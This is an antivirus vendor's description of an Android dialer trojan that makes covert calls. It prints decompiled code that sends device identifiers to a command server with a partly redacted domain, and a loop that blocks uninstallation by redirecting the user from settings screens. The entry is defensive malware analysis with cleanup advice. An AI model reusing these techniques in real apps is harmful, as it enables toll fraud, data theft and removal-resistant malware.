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Android.Dialer.7.origin

Added to the Dr.Web virus database: 2015-03-18

Virus description added:

This is a dialer that covertly makes calls to different numbers. It is spread under the guise of an application for adults.

Installation and launch

When installed on the Android device, Android.Dialer.7.origin places its shortcut, without an icon or any captions, to the home screen. When the Trojan is launched, this shortcut is removed.

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In some cases, after its launch Android.Dialer.7.origin can display an error message notifying that the requested service is unavailable:

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Malicious activity

The Trojan operates on the infected mobile device under the guise of a system service, which is activated either when the user clicks the shortcut or automatically upon the following system events:

<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.BATTERY_OKAY" />
<action android:name="android.intent.action.BATTERY_LOW" />
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" />

This service periodically calls number 803402470, which is stored in the Android.Dialer.7.origin settings. However, the Trojan is also able to dial other numbers, if information about them is received from the command and control server, located at http://api.[xxx]aly.com. The dialer can send various POST requests to this server by connecting to the following web addresses:

  • http://api.[xxx]aly.com/ws/install/
  • http://api.[xxx]aly.com/ws/event/
  • http://api.[xxx]aly.com/ws/status/
  • http://api.[xxx]aly.com/ws/update/

Each of these POST requests contains certain parameters. For example, a request to http://api.[xxx]aly.com/ws/install/ is as follows:


((List)v0).add(new BasicNameValuePair("av", g.a(String.valueOf(Build$VERSION.SDK_INT))));
  ((List)v0).add(new BasicNameValuePair("vc", g.a(g.e(this.a))));
  ((List)v0).add(new BasicNameValuePair("vn", g.a(g.f(this.a))));
  ((List)v0).add(new BasicNameValuePair("idpro", g.a(MyApplication.j())));
  ((List)v0).add(new BasicNameValuePair("aid", g.a(g.a(this.a))));
  ((List)v0).add(new BasicNameValuePair("ta", g.a(g.b(this.a))));
  ((List)v0).add(new BasicNameValuePair("de", g.a(g.c(this.a))));
  ((List)v0).add(new BasicNameValuePair("op", g.a(g.d(this.a))));
  ((List)v0).add(new BasicNameValuePair("guid", g.a(g.a())));
  ((List)v0).add(new BasicNameValuePair("name", g.a(this.a.getPackageName())));
  ((List)v0).add(new BasicNameValuePair("md", g.a(Build.MODEL)));
  ((List)v0).add(new BasicNameValuePair("ct", g.a(g.g(this.a))));
  ((List)v0).add(new BasicNameValuePair("ref",
     g.a(MyApplication.a.getString("referrer", "0"))));

In return to this request, Android.Dialer.7.origin can get a response in the json format (JavaScript Object Notation), which contains a new number to dial.

Trojan hides its malicious activity by removing all information about the calls from the call list and system logs.

Resistance to removal

Android.Dialer.7.origin possesses a very effective mechanism of protection against its removal. Every 0.5 seconds the Trojan checks whether the system settings section that is responsible for managing applications is launched. If so, it redirects the user to the home screen, not allowing the user to perform any action with the installed programs:


public final void a(Context arg6) {
        List v1 = arg6.getSystemService("activity").getRunningTasks(1);
        String v2 = v1.get(0).topActivity.getClassName();
        v1.get(0).topActivity.getPackageName().getClass();
        new StringBuilder("VISTA ES:").append(v1.get(0).topActivity.getClassName()).toString();
        if((v2.equals("com.android.packageinstaller.UninstallerActivity")) ||
(v2.equals("com.sec.android.app.controlpanel.activity.JobManagerActivity"))
                 || (v2.equals("com.android.settings.SubSettings")) ||
(v2.equals("com.android.settings.applications.RunningServiceDetails"))
                 || (v2.equals("com.android.settings.RunningServices")) ||
(v2.equals("com.android.settings.ManageApplications"))
                 || (v2.equals("com.android.settings.applications.InstalledAppDetails")) 
                 || (v2.equals("com.android.packageinstaller.PackageInstallerActivity"))) {
            Intent v0 = new Intent();
            v0.addFlags(268435456);
            v0.setAction("android.intent.action.MAIN");
            v0.addCategory("android.intent.category.HOME");
            this.c.startActivity(v0);
        }
    }

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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